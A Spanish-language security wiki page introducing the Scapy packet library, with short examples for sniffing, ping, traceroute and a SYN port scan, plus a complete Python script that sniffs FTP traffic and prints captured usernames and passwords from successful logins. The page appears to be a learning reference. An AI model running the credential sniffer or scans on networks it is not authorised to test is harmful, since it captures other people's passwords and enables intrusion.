Herramientas de usuario

Herramientas del sitio


seguridad:programacion:redes:python:scapy

Scapy

Scapy es una herramienta de manipulación de paquetes de red, escrita en Python. Puede falsear o decodificar paquetes, enviarlos, capturarlos y hacer coincidir solicitudes y respuestas.

Ejemplos

Sniffer

sniff(iface="<interface>", prn = lambda x: x.show(), filter="tcp", store=0)

Python/Scapy FTP Password Sniffer :

#! /usr/bin/python
 
import sys
from logging import getLogger, ERROR
getLogger('scapy.runtime').setLevel(ERROR)
try:
    from scapy.all import *
except ImportError:
    print '[!] Error: Scapy Installation Not Found'
    sys.exit(1)
 
interface = sys.argv[1]
 
usernames = ['Error: Unlucky Timing']
passwords = ['Error: Unlucky Timing']
 
def check_login(pkt, username, password):
    try:
        if '230' in pkt[Raw].load:
            print '[*] Valid Credentials Found... '
            print '\t[*] ' + str(pkt[IP].dst).strip() + ' -> ' + str(pkt[IP].src).strip() + ':'
            print '\t   [*] Username: ' + username
            print '\t   [*] Password: ' + password + '\n'
            return
        else:
            return
    except Exception:
        return 
 
def check_for_ftp(pkt):
    if pkt.haslayer(TCP) and pkt.haslayer(Raw):
        if pkt[TCP].dport == 21 or pkt[TCP].sport == 21:
            return True
        else:
            return False
    else:
        return False
 
def check_pkt(pkt):
    if check_for_ftp(pkt):
        pass
    else:
        return
    data = pkt[Raw].load
    if 'USER ' in data:
        usernames.append(data.split('USER ')[1].strip())
    elif 'PASS ' in data:
        passwords.append(data.split('PASS ')[1].strip())
    else:
        check_login(pkt, usernames[-1], passwords[-1])
    return
 
print '[*] Sniffing Started on %s... \n' % interface
try:
    sniff(iface=interface, prn=check_pkt, store=0)
except Exception:
    print '[!] Error: Failed to Initialize Sniffing'
    sys.exit(1)
print '\n[*] Sniffing Stopped'

Ping

sr(IP(dst="8.8.8.8")/ICMP())

Ejemplos de 0x90

Ejemplos de 0x90.

Sniffing on eth0:

    sniff(iface="eth0", prn=lambda x: x.summary())
    sniff(iface="eth0", prn=lambda x: x.show())

Formated sniff output

    sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))

Traceroute:

	traceroute(["www.google.com","www.ust.cl","www.terra.cl","www.microsoft.com"],maxttl=20)
	result, unans=_
	result.show()
	# save output
	result.graph(type="ps", target="|lp")
	result.graph(target="> grafico.svg")

Port scanner:

	res.unans = sr( IP(dst="target")/TCP(flags="S", dport=(1,1024)) )
	res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )

Referencias

seguridad/programacion/redes/python/scapy.txt · Última modificación: 2019/08/29 19:08 por cayu